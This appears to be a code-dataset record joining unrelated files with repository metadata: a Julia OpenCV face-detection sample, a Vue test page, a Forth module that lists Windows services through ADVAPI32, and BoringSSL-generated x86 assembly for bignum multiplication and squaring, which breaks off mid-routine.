x1 = Int32(boxes[i].x+boxes[i].width)
y1 = Int32(boxes[i].y+boxes[i].height)
cv.rectangle(frame, cv.Point{Int32}(x0, y0), cv.Point{Int32}(x1, y1), (100, 255, 100); thickness = Int32(5))
label = "face: " * string(confidence)
lsize, bl = cv.getTextSize(label, cv.FONT_HERSHEY_SIMPLEX, 0.5, Int32(1))
cv.rectangle(frame, cv.Point{Int32}(x0,y0), cv.Point{Int32}(x0+lsize.width, y0+lsize.height+bl), (100,255,100); thickness = Int32(-1))
cv.putText(frame, label, cv.Point{Int32}(x0, y0 + lsize.height),
cv.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0); thickness = Int32(1), lineType = cv.LINE_AA)
end
cv.imshow("detections", frame)
if cv.waitKey(Int32(30)) >= 0
break
end
end | Julia | 4 | ptelang/opencv_contrib | modules/julia/samples/face_detect_dnn.jl | [
"Apache-2.0"
] |
<template>
<div>Route path: {{ $routeFullPath }}</div>
</template>
| Vue | 3 | ardyno/nuxt.js | test/fixtures/spa/pages/route-path.vue | [
"MIT"
] |
\ require structs.fth
{ ."
Service interaction module. Uses the ADVAPI32.DLL interface
for connecting to the service control manager and querying
its status.
Run list-services to see all services.
Use enum-services to get a buffer to service status array.
" ETX emit }!
advapi32 3 dllfun OpenSCManager OpenSCManagerA
advapi32 8 dllfun EnumServicesStatus EnumServicesStatusA
struct ENUM_SERVICE_STATUS
8 field lpServiceName
8 field lpDisplayName
4 field dwServiceType
4 field dwCurrentState
4 field dwControlsAccepted
4 field dwWin32ExitCode
4 field dwServiceSpecificExitCode
4 field dwCheckPoint
4 field dwWaitHint
4 + \ some padding for paragraph alignment
end-struct
variable svc-bytes
variable svc-count
variable svc-resume
variable svc-buffer
variable svc-size
$f003f value SC_MANAGER_ALL_ACCESS
$0002 value SC_MANAGER_CREATE_SERVICE
$0001 value SC_MANAGER_CONNECT
$0004 value SC_MANAGER_ENUMERATE_SERVICE
$0008 value SC_MANAGER_LOCK
$0020 value SC_MANAGER_MODIFY_BOOT_CONFIG
$0010 value SC_MANAGER_QUERY_LOCK_STATUS
$0b value SERVICE_DRIVER
$02 value SERVICE_FILE_SYSTEM_DRIVER
$01 value SERVICE_KERNEL_DRIVER
$30 value SERVICE_WIN32
$10 value SERVICE_WIN32_OWN_PROCESS
$20 value SERVICE_WIN32_SHARE_PROCESS
$ff value SERVICE_ALL
1 value SERVICE_ACTIVE
2 value SERVICE_INACTIVE
3 value SERVICE_STATE_ALL
\ get a handle to the service control manager
: open-scm ( -- handle )
0 0 SC_MANAGER_ENUMERATE_SERVICE OpenSCManager
dup 0= if .err then ;
\ enumerate service listing
: enum-status ( handle type state -- bool )
svc-buffer @ svc-size @
svc-bytes svc-count svc-resume
EnumServicesStatus ;
\ start state
: enum-init
svc-buffer off
svc-size off
;
: enum-services ( -- buffer )
\ get the handle
enum-init open-scm >r
\ find out how big the buffer needs to be
r@ SERVICE_ALL SERVICE_STATE_ALL enum-status
\ allocate buffer
svc-bytes @ dup svc-size !
allocate svc-buffer !
\ try again and get the data
r@ SERVICE_ALL SERVICE_STATE_ALL enum-status
\ reclaim the handle
r> CloseHandle
svc-buffer @
;
: list-services ( -- )
.pre
enum-services
svc-count @ 0 do
\ offset into the array
dup i ENUM_SERVICE_STATUS * +
\ print the state
dup dwCurrentState d@ 6 .r
\ type of service
dup dwServiceType d@ 6 hex .r dec
\ get the names and print it
dup lpServiceName @ c->str 32 r.type space
dup lpDisplayName @ .cstring
drop cr
loop
free .post
;
| Forth | 5 | jephthai/EvilVM | samples/services.fth | [
"MIT"
] |
; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
%ifdef BORINGSSL_PREFIX
%include "boringssl_prefix_symbols_nasm.inc"
%endif
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
%ifdef __YASM_VERSION_ID__
%if __YASM_VERSION_ID__ < 01010000h
%error yasm version 1.1.0 or later needed.
%endif
; Yasm automatically includes .00 and complains about redefining it.
; https://www.tortall.net/projects/yasm/manual/html/objfmt-win32-safeseh.html
%else
[email protected] equ 1
%endif
section .text code align=64
%else
section .text code
%endif
global _bn_mul_comba8
align 16
_bn_mul_comba8:
L$_bn_mul_comba8_begin:
push esi
mov esi,DWORD [12+esp]
push edi
mov edi,DWORD [20+esp]
push ebp
push ebx
xor ebx,ebx
mov eax,DWORD [esi]
xor ecx,ecx
mov edx,DWORD [edi]
; ################## Calculate word 0
xor ebp,ebp
; mul a[0]*b[0]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [edi]
adc ebp,0
mov DWORD [eax],ebx
mov eax,DWORD [4+esi]
; saved r[0]
; ################## Calculate word 1
xor ebx,ebx
; mul a[1]*b[0]
mul edx
add ecx,eax
mov eax,DWORD [esi]
adc ebp,edx
mov edx,DWORD [4+edi]
adc ebx,0
; mul a[0]*b[1]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [edi]
adc ebx,0
mov DWORD [4+eax],ecx
mov eax,DWORD [8+esi]
; saved r[1]
; ################## Calculate word 2
xor ecx,ecx
; mul a[2]*b[0]
mul edx
add ebp,eax
mov eax,DWORD [4+esi]
adc ebx,edx
mov edx,DWORD [4+edi]
adc ecx,0
; mul a[1]*b[1]
mul edx
add ebp,eax
mov eax,DWORD [esi]
adc ebx,edx
mov edx,DWORD [8+edi]
adc ecx,0
; mul a[0]*b[2]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [edi]
adc ecx,0
mov DWORD [8+eax],ebp
mov eax,DWORD [12+esi]
; saved r[2]
; ################## Calculate word 3
xor ebp,ebp
; mul a[3]*b[0]
mul edx
add ebx,eax
mov eax,DWORD [8+esi]
adc ecx,edx
mov edx,DWORD [4+edi]
adc ebp,0
; mul a[2]*b[1]
mul edx
add ebx,eax
mov eax,DWORD [4+esi]
adc ecx,edx
mov edx,DWORD [8+edi]
adc ebp,0
; mul a[1]*b[2]
mul edx
add ebx,eax
mov eax,DWORD [esi]
adc ecx,edx
mov edx,DWORD [12+edi]
adc ebp,0
; mul a[0]*b[3]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [edi]
adc ebp,0
mov DWORD [12+eax],ebx
mov eax,DWORD [16+esi]
; saved r[3]
; ################## Calculate word 4
xor ebx,ebx
; mul a[4]*b[0]
mul edx
add ecx,eax
mov eax,DWORD [12+esi]
adc ebp,edx
mov edx,DWORD [4+edi]
adc ebx,0
; mul a[3]*b[1]
mul edx
add ecx,eax
mov eax,DWORD [8+esi]
adc ebp,edx
mov edx,DWORD [8+edi]
adc ebx,0
; mul a[2]*b[2]
mul edx
add ecx,eax
mov eax,DWORD [4+esi]
adc ebp,edx
mov edx,DWORD [12+edi]
adc ebx,0
; mul a[1]*b[3]
mul edx
add ecx,eax
mov eax,DWORD [esi]
adc ebp,edx
mov edx,DWORD [16+edi]
adc ebx,0
; mul a[0]*b[4]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [edi]
adc ebx,0
mov DWORD [16+eax],ecx
mov eax,DWORD [20+esi]
; saved r[4]
; ################## Calculate word 5
xor ecx,ecx
; mul a[5]*b[0]
mul edx
add ebp,eax
mov eax,DWORD [16+esi]
adc ebx,edx
mov edx,DWORD [4+edi]
adc ecx,0
; mul a[4]*b[1]
mul edx
add ebp,eax
mov eax,DWORD [12+esi]
adc ebx,edx
mov edx,DWORD [8+edi]
adc ecx,0
; mul a[3]*b[2]
mul edx
add ebp,eax
mov eax,DWORD [8+esi]
adc ebx,edx
mov edx,DWORD [12+edi]
adc ecx,0
; mul a[2]*b[3]
mul edx
add ebp,eax
mov eax,DWORD [4+esi]
adc ebx,edx
mov edx,DWORD [16+edi]
adc ecx,0
; mul a[1]*b[4]
mul edx
add ebp,eax
mov eax,DWORD [esi]
adc ebx,edx
mov edx,DWORD [20+edi]
adc ecx,0
; mul a[0]*b[5]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [edi]
adc ecx,0
mov DWORD [20+eax],ebp
mov eax,DWORD [24+esi]
; saved r[5]
; ################## Calculate word 6
xor ebp,ebp
; mul a[6]*b[0]
mul edx
add ebx,eax
mov eax,DWORD [20+esi]
adc ecx,edx
mov edx,DWORD [4+edi]
adc ebp,0
; mul a[5]*b[1]
mul edx
add ebx,eax
mov eax,DWORD [16+esi]
adc ecx,edx
mov edx,DWORD [8+edi]
adc ebp,0
; mul a[4]*b[2]
mul edx
add ebx,eax
mov eax,DWORD [12+esi]
adc ecx,edx
mov edx,DWORD [12+edi]
adc ebp,0
; mul a[3]*b[3]
mul edx
add ebx,eax
mov eax,DWORD [8+esi]
adc ecx,edx
mov edx,DWORD [16+edi]
adc ebp,0
; mul a[2]*b[4]
mul edx
add ebx,eax
mov eax,DWORD [4+esi]
adc ecx,edx
mov edx,DWORD [20+edi]
adc ebp,0
; mul a[1]*b[5]
mul edx
add ebx,eax
mov eax,DWORD [esi]
adc ecx,edx
mov edx,DWORD [24+edi]
adc ebp,0
; mul a[0]*b[6]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [edi]
adc ebp,0
mov DWORD [24+eax],ebx
mov eax,DWORD [28+esi]
; saved r[6]
; ################## Calculate word 7
xor ebx,ebx
; mul a[7]*b[0]
mul edx
add ecx,eax
mov eax,DWORD [24+esi]
adc ebp,edx
mov edx,DWORD [4+edi]
adc ebx,0
; mul a[6]*b[1]
mul edx
add ecx,eax
mov eax,DWORD [20+esi]
adc ebp,edx
mov edx,DWORD [8+edi]
adc ebx,0
; mul a[5]*b[2]
mul edx
add ecx,eax
mov eax,DWORD [16+esi]
adc ebp,edx
mov edx,DWORD [12+edi]
adc ebx,0
; mul a[4]*b[3]
mul edx
add ecx,eax
mov eax,DWORD [12+esi]
adc ebp,edx
mov edx,DWORD [16+edi]
adc ebx,0
; mul a[3]*b[4]
mul edx
add ecx,eax
mov eax,DWORD [8+esi]
adc ebp,edx
mov edx,DWORD [20+edi]
adc ebx,0
; mul a[2]*b[5]
mul edx
add ecx,eax
mov eax,DWORD [4+esi]
adc ebp,edx
mov edx,DWORD [24+edi]
adc ebx,0
; mul a[1]*b[6]
mul edx
add ecx,eax
mov eax,DWORD [esi]
adc ebp,edx
mov edx,DWORD [28+edi]
adc ebx,0
; mul a[0]*b[7]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [4+edi]
adc ebx,0
mov DWORD [28+eax],ecx
mov eax,DWORD [28+esi]
; saved r[7]
; ################## Calculate word 8
xor ecx,ecx
; mul a[7]*b[1]
mul edx
add ebp,eax
mov eax,DWORD [24+esi]
adc ebx,edx
mov edx,DWORD [8+edi]
adc ecx,0
; mul a[6]*b[2]
mul edx
add ebp,eax
mov eax,DWORD [20+esi]
adc ebx,edx
mov edx,DWORD [12+edi]
adc ecx,0
; mul a[5]*b[3]
mul edx
add ebp,eax
mov eax,DWORD [16+esi]
adc ebx,edx
mov edx,DWORD [16+edi]
adc ecx,0
; mul a[4]*b[4]
mul edx
add ebp,eax
mov eax,DWORD [12+esi]
adc ebx,edx
mov edx,DWORD [20+edi]
adc ecx,0
; mul a[3]*b[5]
mul edx
add ebp,eax
mov eax,DWORD [8+esi]
adc ebx,edx
mov edx,DWORD [24+edi]
adc ecx,0
; mul a[2]*b[6]
mul edx
add ebp,eax
mov eax,DWORD [4+esi]
adc ebx,edx
mov edx,DWORD [28+edi]
adc ecx,0
; mul a[1]*b[7]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [8+edi]
adc ecx,0
mov DWORD [32+eax],ebp
mov eax,DWORD [28+esi]
; saved r[8]
; ################## Calculate word 9
xor ebp,ebp
; mul a[7]*b[2]
mul edx
add ebx,eax
mov eax,DWORD [24+esi]
adc ecx,edx
mov edx,DWORD [12+edi]
adc ebp,0
; mul a[6]*b[3]
mul edx
add ebx,eax
mov eax,DWORD [20+esi]
adc ecx,edx
mov edx,DWORD [16+edi]
adc ebp,0
; mul a[5]*b[4]
mul edx
add ebx,eax
mov eax,DWORD [16+esi]
adc ecx,edx
mov edx,DWORD [20+edi]
adc ebp,0
; mul a[4]*b[5]
mul edx
add ebx,eax
mov eax,DWORD [12+esi]
adc ecx,edx
mov edx,DWORD [24+edi]
adc ebp,0
; mul a[3]*b[6]
mul edx
add ebx,eax
mov eax,DWORD [8+esi]
adc ecx,edx
mov edx,DWORD [28+edi]
adc ebp,0
; mul a[2]*b[7]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [12+edi]
adc ebp,0
mov DWORD [36+eax],ebx
mov eax,DWORD [28+esi]
; saved r[9]
; ################## Calculate word 10
xor ebx,ebx
; mul a[7]*b[3]
mul edx
add ecx,eax
mov eax,DWORD [24+esi]
adc ebp,edx
mov edx,DWORD [16+edi]
adc ebx,0
; mul a[6]*b[4]
mul edx
add ecx,eax
mov eax,DWORD [20+esi]
adc ebp,edx
mov edx,DWORD [20+edi]
adc ebx,0
; mul a[5]*b[5]
mul edx
add ecx,eax
mov eax,DWORD [16+esi]
adc ebp,edx
mov edx,DWORD [24+edi]
adc ebx,0
; mul a[4]*b[6]
mul edx
add ecx,eax
mov eax,DWORD [12+esi]
adc ebp,edx
mov edx,DWORD [28+edi]
adc ebx,0
; mul a[3]*b[7]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [16+edi]
adc ebx,0
mov DWORD [40+eax],ecx
mov eax,DWORD [28+esi]
; saved r[10]
; ################## Calculate word 11
xor ecx,ecx
; mul a[7]*b[4]
mul edx
add ebp,eax
mov eax,DWORD [24+esi]
adc ebx,edx
mov edx,DWORD [20+edi]
adc ecx,0
; mul a[6]*b[5]
mul edx
add ebp,eax
mov eax,DWORD [20+esi]
adc ebx,edx
mov edx,DWORD [24+edi]
adc ecx,0
; mul a[5]*b[6]
mul edx
add ebp,eax
mov eax,DWORD [16+esi]
adc ebx,edx
mov edx,DWORD [28+edi]
adc ecx,0
; mul a[4]*b[7]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [20+edi]
adc ecx,0
mov DWORD [44+eax],ebp
mov eax,DWORD [28+esi]
; saved r[11]
; ################## Calculate word 12
xor ebp,ebp
; mul a[7]*b[5]
mul edx
add ebx,eax
mov eax,DWORD [24+esi]
adc ecx,edx
mov edx,DWORD [24+edi]
adc ebp,0
; mul a[6]*b[6]
mul edx
add ebx,eax
mov eax,DWORD [20+esi]
adc ecx,edx
mov edx,DWORD [28+edi]
adc ebp,0
; mul a[5]*b[7]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [24+edi]
adc ebp,0
mov DWORD [48+eax],ebx
mov eax,DWORD [28+esi]
; saved r[12]
; ################## Calculate word 13
xor ebx,ebx
; mul a[7]*b[6]
mul edx
add ecx,eax
mov eax,DWORD [24+esi]
adc ebp,edx
mov edx,DWORD [28+edi]
adc ebx,0
; mul a[6]*b[7]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [28+edi]
adc ebx,0
mov DWORD [52+eax],ecx
mov eax,DWORD [28+esi]
; saved r[13]
; ################## Calculate word 14
xor ecx,ecx
; mul a[7]*b[7]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
adc ecx,0
mov DWORD [56+eax],ebp
; saved r[14]
; save r[15]
mov DWORD [60+eax],ebx
pop ebx
pop ebp
pop edi
pop esi
ret
global _bn_mul_comba4
align 16
_bn_mul_comba4:
L$_bn_mul_comba4_begin:
push esi
mov esi,DWORD [12+esp]
push edi
mov edi,DWORD [20+esp]
push ebp
push ebx
xor ebx,ebx
mov eax,DWORD [esi]
xor ecx,ecx
mov edx,DWORD [edi]
; ################## Calculate word 0
xor ebp,ebp
; mul a[0]*b[0]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [edi]
adc ebp,0
mov DWORD [eax],ebx
mov eax,DWORD [4+esi]
; saved r[0]
; ################## Calculate word 1
xor ebx,ebx
; mul a[1]*b[0]
mul edx
add ecx,eax
mov eax,DWORD [esi]
adc ebp,edx
mov edx,DWORD [4+edi]
adc ebx,0
; mul a[0]*b[1]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [edi]
adc ebx,0
mov DWORD [4+eax],ecx
mov eax,DWORD [8+esi]
; saved r[1]
; ################## Calculate word 2
xor ecx,ecx
; mul a[2]*b[0]
mul edx
add ebp,eax
mov eax,DWORD [4+esi]
adc ebx,edx
mov edx,DWORD [4+edi]
adc ecx,0
; mul a[1]*b[1]
mul edx
add ebp,eax
mov eax,DWORD [esi]
adc ebx,edx
mov edx,DWORD [8+edi]
adc ecx,0
; mul a[0]*b[2]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [edi]
adc ecx,0
mov DWORD [8+eax],ebp
mov eax,DWORD [12+esi]
; saved r[2]
; ################## Calculate word 3
xor ebp,ebp
; mul a[3]*b[0]
mul edx
add ebx,eax
mov eax,DWORD [8+esi]
adc ecx,edx
mov edx,DWORD [4+edi]
adc ebp,0
; mul a[2]*b[1]
mul edx
add ebx,eax
mov eax,DWORD [4+esi]
adc ecx,edx
mov edx,DWORD [8+edi]
adc ebp,0
; mul a[1]*b[2]
mul edx
add ebx,eax
mov eax,DWORD [esi]
adc ecx,edx
mov edx,DWORD [12+edi]
adc ebp,0
; mul a[0]*b[3]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
mov edx,DWORD [4+edi]
adc ebp,0
mov DWORD [12+eax],ebx
mov eax,DWORD [12+esi]
; saved r[3]
; ################## Calculate word 4
xor ebx,ebx
; mul a[3]*b[1]
mul edx
add ecx,eax
mov eax,DWORD [8+esi]
adc ebp,edx
mov edx,DWORD [8+edi]
adc ebx,0
; mul a[2]*b[2]
mul edx
add ecx,eax
mov eax,DWORD [4+esi]
adc ebp,edx
mov edx,DWORD [12+edi]
adc ebx,0
; mul a[1]*b[3]
mul edx
add ecx,eax
mov eax,DWORD [20+esp]
adc ebp,edx
mov edx,DWORD [8+edi]
adc ebx,0
mov DWORD [16+eax],ecx
mov eax,DWORD [12+esi]
; saved r[4]
; ################## Calculate word 5
xor ecx,ecx
; mul a[3]*b[2]
mul edx
add ebp,eax
mov eax,DWORD [8+esi]
adc ebx,edx
mov edx,DWORD [12+edi]
adc ecx,0
; mul a[2]*b[3]
mul edx
add ebp,eax
mov eax,DWORD [20+esp]
adc ebx,edx
mov edx,DWORD [12+edi]
adc ecx,0
mov DWORD [20+eax],ebp
mov eax,DWORD [12+esi]
; saved r[5]
; ################## Calculate word 6
xor ebp,ebp
; mul a[3]*b[3]
mul edx
add ebx,eax
mov eax,DWORD [20+esp]
adc ecx,edx
adc ebp,0
mov DWORD [24+eax],ebx
; saved r[6]
; save r[7]
mov DWORD [28+eax],ecx
pop ebx
pop ebp
pop edi
pop esi
ret
global _bn_sqr_comba8
align 16
_bn_sqr_comba8:
L$_bn_sqr_comba8_begin:
push esi
push edi
push ebp
push ebx
mov edi,DWORD [20+esp]
mov esi,DWORD [24+esp]
xor ebx,ebx
xor ecx,ecx
mov eax,DWORD [esi]
; ############### Calculate word 0
xor ebp,ebp
; sqr a[0]*a[0]
mul eax
add ebx,eax
adc ecx,edx
mov edx,DWORD [esi]
adc ebp,0
mov DWORD [edi],ebx
mov eax,DWORD [4+esi]
; saved r[0]
; ############### Calculate word 1
xor ebx,ebx
; sqr a[1]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [8+esi]
adc ebx,0
mov DWORD [4+edi],ecx
mov edx,DWORD [esi]
; saved r[1]
; ############### Calculate word 2
xor ecx,ecx
; sqr a[2]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [4+esi]
adc ecx,0
; sqr a[1]*a[1]
mul eax
add ebp,eax
adc ebx,edx
mov edx,DWORD [esi]
adc ecx,0
mov DWORD [8+edi],ebp
mov eax,DWORD [12+esi]
; saved r[2]
; ############### Calculate word 3
xor ebp,ebp
; sqr a[3]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [8+esi]
adc ebp,0
mov edx,DWORD [4+esi]
; sqr a[2]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [16+esi]
adc ebp,0
mov DWORD [12+edi],ebx
mov edx,DWORD [esi]
; saved r[3]
; ############### Calculate word 4
xor ebx,ebx
; sqr a[4]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [12+esi]
adc ebx,0
mov edx,DWORD [4+esi]
; sqr a[3]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [8+esi]
adc ebx,0
; sqr a[2]*a[2]
mul eax
add ecx,eax
adc ebp,edx
mov edx,DWORD [esi]
adc ebx,0
mov DWORD [16+edi],ecx
mov eax,DWORD [20+esi]
; saved r[4]
; ############### Calculate word 5
xor ecx,ecx
; sqr a[5]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [16+esi]
adc ecx,0
mov edx,DWORD [4+esi]
; sqr a[4]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [12+esi]
adc ecx,0
mov edx,DWORD [8+esi]
; sqr a[3]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [24+esi]
adc ecx,0
mov DWORD [20+edi],ebp
mov edx,DWORD [esi]
; saved r[5]
; ############### Calculate word 6
xor ebp,ebp
; sqr a[6]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [20+esi]
adc ebp,0
mov edx,DWORD [4+esi]
; sqr a[5]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [16+esi]
adc ebp,0
mov edx,DWORD [8+esi]
; sqr a[4]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [12+esi]
adc ebp,0
; sqr a[3]*a[3]
mul eax
add ebx,eax
adc ecx,edx
mov edx,DWORD [esi]
adc ebp,0
mov DWORD [24+edi],ebx
mov eax,DWORD [28+esi]
; saved r[6]
; ############### Calculate word 7
xor ebx,ebx
; sqr a[7]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [24+esi]
adc ebx,0
mov edx,DWORD [4+esi]
; sqr a[6]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [20+esi]
adc ebx,0
mov edx,DWORD [8+esi]
; sqr a[5]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [16+esi]
adc ebx,0
mov edx,DWORD [12+esi]
; sqr a[4]*a[3]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [28+esi]
adc ebx,0
mov DWORD [28+edi],ecx
mov edx,DWORD [4+esi]
; saved r[7]
; ############### Calculate word 8
xor ecx,ecx
; sqr a[7]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [24+esi]
adc ecx,0
mov edx,DWORD [8+esi]
; sqr a[6]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [20+esi]
adc ecx,0
mov edx,DWORD [12+esi]
; sqr a[5]*a[3]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [16+esi]
adc ecx,0
; sqr a[4]*a[4]
mul eax
add ebp,eax
adc ebx,edx
mov edx,DWORD [8+esi]
adc ecx,0
mov DWORD [32+edi],ebp
mov eax,DWORD [28+esi]
; saved r[8]
; ############### Calculate word 9
xor ebp,ebp
; sqr a[7]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [24+esi]
adc ebp,0
mov edx,DWORD [12+esi]
; sqr a[6]*a[3]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [20+esi]
adc ebp,0
mov edx,DWORD [16+esi]
; sqr a[5]*a[4]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [28+esi]
adc ebp,0
mov DWORD [36+edi],ebx
mov edx,DWORD [12+esi]
; saved r[9]
; ############### Calculate word 10
xor ebx,ebx
; sqr a[7]*a[3]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [24+esi]
adc ebx,0
mov edx,DWORD [16+esi]
; sqr a[6]*a[4]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [20+esi]
adc ebx,0
; sqr a[5]*a[5]
mul eax
add ecx,eax
adc ebp,edx
mov edx,DWORD [16+esi]
adc ebx,0
mov DWORD [40+edi],ecx
mov eax,DWORD [28+esi]
; saved r[10]
; ############### Calculate word 11
xor ecx,ecx
; sqr a[7]*a[4]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [24+esi]
adc ecx,0
mov edx,DWORD [20+esi]
; sqr a[6]*a[5]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [28+esi]
adc ecx,0
mov DWORD [44+edi],ebp
mov edx,DWORD [20+esi]
; saved r[11]
; ############### Calculate word 12
xor ebp,ebp
; sqr a[7]*a[5]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [24+esi]
adc ebp,0
; sqr a[6]*a[6]
mul eax
add ebx,eax
adc ecx,edx
mov edx,DWORD [24+esi]
adc ebp,0
mov DWORD [48+edi],ebx
mov eax,DWORD [28+esi]
; saved r[12]
; ############### Calculate word 13
xor ebx,ebx
; sqr a[7]*a[6]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [28+esi]
adc ebx,0
mov DWORD [52+edi],ecx
; saved r[13]
; ############### Calculate word 14
xor ecx,ecx
; sqr a[7]*a[7]
mul eax
add ebp,eax
adc ebx,edx
adc ecx,0
mov DWORD [56+edi],ebp
; saved r[14]
mov DWORD [60+edi],ebx
pop ebx
pop ebp
pop edi
pop esi
ret
global _bn_sqr_comba4
align 16
_bn_sqr_comba4:
L$_bn_sqr_comba4_begin:
push esi
push edi
push ebp
push ebx
mov edi,DWORD [20+esp]
mov esi,DWORD [24+esp]
xor ebx,ebx
xor ecx,ecx
mov eax,DWORD [esi]
; ############### Calculate word 0
xor ebp,ebp
; sqr a[0]*a[0]
mul eax
add ebx,eax
adc ecx,edx
mov edx,DWORD [esi]
adc ebp,0
mov DWORD [edi],ebx
mov eax,DWORD [4+esi]
; saved r[0]
; ############### Calculate word 1
xor ebx,ebx
; sqr a[1]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [8+esi]
adc ebx,0
mov DWORD [4+edi],ecx
mov edx,DWORD [esi]
; saved r[1]
; ############### Calculate word 2
xor ecx,ecx
; sqr a[2]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [4+esi]
adc ecx,0
; sqr a[1]*a[1]
mul eax
add ebp,eax
adc ebx,edx
mov edx,DWORD [esi]
adc ecx,0
mov DWORD [8+edi],ebp
mov eax,DWORD [12+esi]
; saved r[2]
; ############### Calculate word 3
xor ebp,ebp
; sqr a[3]*a[0]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [8+esi]
adc ebp,0
mov edx,DWORD [4+esi]
; sqr a[2]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebp,0
add ebx,eax
adc ecx,edx
mov eax,DWORD [12+esi]
adc ebp,0
mov DWORD [12+edi],ebx
mov edx,DWORD [4+esi]
; saved r[3]
; ############### Calculate word 4
xor ebx,ebx
; sqr a[3]*a[1]
mul edx
add eax,eax
adc edx,edx
adc ebx,0
add ecx,eax
adc ebp,edx
mov eax,DWORD [8+esi]
adc ebx,0
; sqr a[2]*a[2]
mul eax
add ecx,eax
adc ebp,edx
mov edx,DWORD [8+esi]
adc ebx,0
mov DWORD [16+edi],ecx
mov eax,DWORD [12+esi]
; saved r[4]
; ############### Calculate word 5
xor ecx,ecx
; sqr a[3]*a[2]
mul edx
add eax,eax
adc edx,edx
adc ecx,0
add ebp,eax
adc ebx,edx
mov eax,DWORD [12+esi]
adc ecx,0
